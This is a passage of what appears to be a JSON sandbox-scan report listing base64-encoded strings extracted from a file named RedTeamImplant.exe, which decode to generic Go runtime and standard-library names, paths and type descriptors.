Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvdW5pY29kZS90YWJsZXMuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvdW5pY29kZS91dGYxNi91dGYxNi5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvdW5pY29kZS91dGY4L3V0ZjguZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"MCpzdHJ1Y3QgeyBGIHVpbnRwdHI7IFgwICpvcy5GaWxlOyBYMSAqZXhlYy5DbWQgfQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"MCpzdHJ1Y3QgeyBGIHVpbnRwdHI7IFgwIGlvLldyaXRlcjsgWDEgKm9zLkZpbGUgfQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"MCpzdHJ1Y3QgeyBrZXkgcnVudGltZS53aW5DYWxsYmFja0tleTsgZWxlbSBpbnQgfQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"MCpzdHJ1Y3QgeyBrZXkgc3RyaW5nOyBlbGVtICp1bmljb2RlLlJhbmdlVGFibGUgfQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"MSpbXXN0cnVjdCB7IGtleSBpbnRlcmZhY2Uge307IGVsZW0gaW50ZXJmYWNlIHt9IH0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"MSpbXXN0cnVjdCB7IGtleSBzdHJpbmc7IGVsZW0gcnVudGltZS5tZXRyaWNEYXRhIH0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"MSpzdHJ1Y3QgeyBrZXkgcnVudGltZS5fdHlwZVBhaXI7IGVsZW0gc3RydWN0IHt9IH0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"MipbOF1zdHJ1Y3QgeyBrZXkgaW50ZXJmYWNlIHt9OyBlbGVtIGludGVyZmFjZSB7fSB9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"MipbOF1zdHJ1Y3QgeyBrZXkgc3RyaW5nOyBlbGVtIHJ1bnRpbWUubWV0cmljRGF0YSB9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"MipbXSpnby5zaGFwZS5zdHJ1Y3QgeyBpbnRlcm5hbC9zeW5jLmlzRW50cnkgYm9vbCB9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"MipbXXN0cnVjdCB7IGtleSBydW50aW1lLndpbkNhbGxiYWNrS2V5OyBlbGVtIGludCB9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"MipbXXN0cnVjdCB7IGtleSBzdHJpbmc7IGVsZW0gKnVuaWNvZGUuUmFuZ2VUYWJsZSB9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$94","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$95","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"MypbMF0qZ28uc2hhcGUuc3RydWN0IHsgaW50ZXJuYWwvc3luYy5pc0VudHJ5IGJvb2wgfQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"MypbOF1zdHJ1Y3QgeyBrZXkgcnVudGltZS53aW5DYWxsYmFja0tleTsgZWxlbSBpbnQgfQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"MypbOF1zdHJ1Y3QgeyBrZXkgc3RyaW5nOyBlbGVtICp1bmljb2RlLlJhbmdlVGFibGUgfQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"MypbXXN0cnVjdCB7IGtleSBydW50aW1lLl90eXBlUGFpcjsgZWxlbSBzdHJ1Y3Qge30gfQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"MypmdW5jKCpydW50aW1lLnN0YXRBZ2dyZWdhdGUsICpydW50aW1lLm1ldHJpY1ZhbHVlKQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"MzMzMzMzMzNIIQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"NCpbOF1zdHJ1Y3QgeyBrZXkgcnVudGltZS5fdHlwZVBhaXI7IGVsZW0gc3RydWN0IHt9IH0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"NCpmdW5jKGZ1bmMoc3RyaW5nKSBib29sKSAocmVmbGVjdC5TdHJ1Y3RGaWVsZCwgYm9vbCk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"NDQ0NDQ0NDQ0NDQ0NDQ0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"NDQ0NDQ0NDQ0NDQ0NDQ0NHxoaGhoaGhoaGhoaGhoaGg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"NypzeW5jLm5vZGVbZ28uc2hhcGUuaW50ZXJmYWNlIHt9LGdvLnNoYXBlLmludGVyZmFjZSB7fV0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"OCpzeW5jLmVudHJ5W2dvLnNoYXBlLmludGVyZmFjZSB7fSxnby5zaGFwZS5pbnRlcmZhY2Uge31d","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$96","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$97","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"OTE3MTI5NTE2NjAxNTYyNXJlZmxlY3QuVmFsdWUuVW5zYWZlUG9pbnRlclBhZ2VDYWNoZVBhZ2VzTGVha2VkICh0ZXN0KW1ha2VjaGFuOiBzaXplIG91dCBvZiByYW5nZUcgd2FpdGluZyBsaXN0IGlzIGNvcnJ1cHRlZE0gc3RydWN0dXJlIHVzZXMgc2l6ZWNsYXNzIHJ1bnRpbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$98","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$99","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"OypbXSpzeW5jLmVudHJ5W2dvLnNoYXBlLmludGVyZmFjZSB7fSxnby5zaGFwZS5pbnRlcmZhY2Uge31d","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Oypnby5zaGFwZS5zdHJ1Y3QgeyBLZXkgcmVmbGVjdC5WYWx1ZTsgVmFsdWUgcmVmbGVjdC5WYWx1ZSB9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"OypzdHJ1Y3QgeyBGIHVpbnRwdHI7IFgwIHN5c2NhbGwuSGFuZGxlOyBYMSBzeXNjYWxsLkhhbmRsZSB9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"OypzeW5jLmluZGlyZWN0W2dvLnNoYXBlLmludGVyZmFjZSB7fSxnby5zaGFwZS5pbnRlcmZhY2Uge31d","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"PCpbMF0qc3luYy5lbnRyeVtnby5zaGFwZS5pbnRlcmZhY2Uge30sZ28uc2hhcGUuaW50ZXJmYWNlIHt9XQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"PGF1dG9nZW5lcmF0ZWQ+","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"PSpzdHJ1Y3QgeyBGIHVpbnRwdHI7IFgwICpleGVjLkNtZDsgWDEgY2hhbjwtIGV4ZWMuY3R4UmVzdWx0IH0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"PSpzdHJ1Y3QgeyBGIHVpbnRwdHI7IFgwIGZ1bmMoZnVuYygpIGVycm9yKTsgWDEgZnVuYygpIGVycm9yIH0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"PiphdG9taWMuUG9pbnRlcltpbnRlcm5hbC9zeW5jLm5vZGVbaW50ZXJmYWNlIHt9LGludGVyZmFjZSB7fV1d","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"PyphdG9taWMuUG9pbnRlcltnby5zaGFwZS5zdHJ1Y3QgeyBpbnRlcm5hbC9zeW5jLmlzRW50cnkgYm9vbCB9XQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"PyphdG9taWMuUG9pbnRlcltpbnRlcm5hbC9zeW5jLmVudHJ5W2ludGVyZmFjZSB7fSxpbnRlcmZhY2Uge31dXQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"P2ZpbGV1ekg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"QCpbXWF0b21pYy5Qb2ludGVyW2ludGVybmFsL3N5bmMubm9kZVtpbnRlcmZhY2Uge30saW50ZXJmYWNlIHt9XV0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"QCpzdHJ1Y3QgeyBmIGZ1bmMoKTsgb25jZSBzeW5jLk9uY2U7IHZhbGlkIGJvb2w7IHAgaW50ZXJmYWNlIHt9IH0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"W2Jpc2VjdC1I","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"XCQwZjlDMnU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"XCQwSDlTMHUhSA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"XCRoSDlwQHc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"XCRQSDlIQHYjSA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$9a","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$9b","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"X2ludGVyZmFjZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"X3J0MF9hbWQ2NA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"X3J0MF9hbWQ2NF93aW5kb3dz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YDArLigpXD07LzVdTTw6MSwtfV9MeWkpLCApKDogfDB8MS5c","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$9c","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$9d","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"QSpbXWF0b21pYy5Qb2ludGVyW2dvLnNoYXBlLnN0cnVjdCB7IGludGVybmFsL3N5bmMuaXNFbnRyeSBib29sIH1d","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YWJpVHlwZVNsb3c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YWNjZXB0T25l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YWNjdW11bGF0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YWNjdW11bGF0ZUdDUGF1c2VUaW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$9e","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$9f","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$a0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YWNxdWlyZVN0YXR1cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YWNxdWlyZXRpbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YWN0aXZlU3RhY2tDaGFucw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"QWRkaXRpb25hbEluaGVyaXRlZEhhbmRsZXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YWRkT2Zmc2V0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"QWRkcmVzc0ZhbWlseQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"QWRkVmVjdG9yZWRDb250aW51ZUhhbmRsZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"QWRkVmVjdG9yZWRFeGNlcHRpb25IYW5kbGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YWVzaGFzaGJvZHk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$a1","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YWxsb2NCaXRz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YWxsb2NCaXRzRm9ySW5kZXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YWxsb2NDYWNoZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YWxsb2NDb3VudA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YWxsb2NDb3VudEJlZm9yZUNhY2hl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YWxsb2NMYXJnZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YWxscFNuYXBzaG90","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$a2","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$a3","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YW5jZXN0b3Jz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$a4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$a5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"QW5vbnltb3Vz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"QXBwZW5kQmluYXJ5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"QXBwZW5kRGVjb2Rl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"QXBwZW5kRW5jb2Rl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"QXBwZW5kRm9ybWF0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YXBwZW5kRm9ybWF0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YXBwZW5kRm9ybWF0UkZDMzMzOQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YXBwZW5kTW9kZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YXBwZW5kTmFtZVRvUGF0aA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YXBwZW5kU3RyaWN0UkZDMzMzOQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"QXBwZW5kVGV4dA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YXJnTnVtYmVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"QXJyYXlUeXBl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"QXNzaWduYWJsZVRv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YXNzaWduQXJn","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YXNzaWduRmxvYXRO","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YXNzaWduSW50Tg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YXNzaWduUmVn","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YXN5bmNTYWZlUG9pbnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YXRvbWljSW5mbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YXRvbWljc3RhdHVz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YXZhaWxhYmxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YXdhaXRHb3JvdXRpbmVz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"QipbMTZdYXRvbWljLlBvaW50ZXJbaW50ZXJuYWwvc3luYy5ub2RlW2ludGVyZmFjZSB7fSxpbnRlcmZhY2Uge31dXQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"QiphdG9taWMuUG9pbnRlcltpbnRlcm5hbC9zeW5jLmluZGlyZWN0W2ludGVyZmFjZSB7fSxpbnRlcmZhY2Uge31dXQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"QipzdHJ1Y3QgeyBGIHVpbnRwdHI7IFgwIGNoYW4gZXhlYy5nb3JvdXRpbmVTdGF0dXM7IFgxIGNoYW4gZXJyb3IgfQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Qi5zeW10YWI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$a6","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$a7","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YmFkQXJnTnVt","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YmNyeXB0cHJpbWl0aXZlcy5kbGw=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$a8","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$a9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YmVjb21lU3Bpbm5pbmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"YnVja0hhc2hTeXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"QnVmZmVyQ291bnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Ynl0ZXMuRXF1YWw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Ynl0ZXMuSW5kZXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Ynl0ZXMuSW5kZXhCeXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Ynl0ZXNNYXJrZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Ynl0ZXNTbG93","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"QypbMTZdYXRvbWljLlBvaW50ZXJbZ28uc2hhcGUuc3RydWN0IHsgaW50ZXJuYWwvc3luYy5pc0VudHJ5IGJvb2wgfV0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2FjaGVkTG9va0V4dGVuc2lvbnM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2FjaGVTdGFydA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2FjaGVab25l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2FsbCBmcmFtZSB0b28gbGFyZ2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2FsbGJhY2tI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFNsaWNl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuQ29tcGxleA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuQ29udmVydA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuSW50ZXJmYWNl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2FwTm9uU2xpY2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2FwdHVyZVN0YWNr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2F0YWxvZ0VudHJ5SWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2F0Y2hQYW5pYw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2F1Z2h0c2ln","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q0NDQ0NDQ0NDQ0NDQ0NDQw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2dvQ2FsbGVycw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2dvQ2FsbGVyc1VzZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2hhY2hhOA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhaW5FbnRyaWVz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2hhbmdlZ3N0YXR1cw==","type":"Ansi","source":"Memory/File 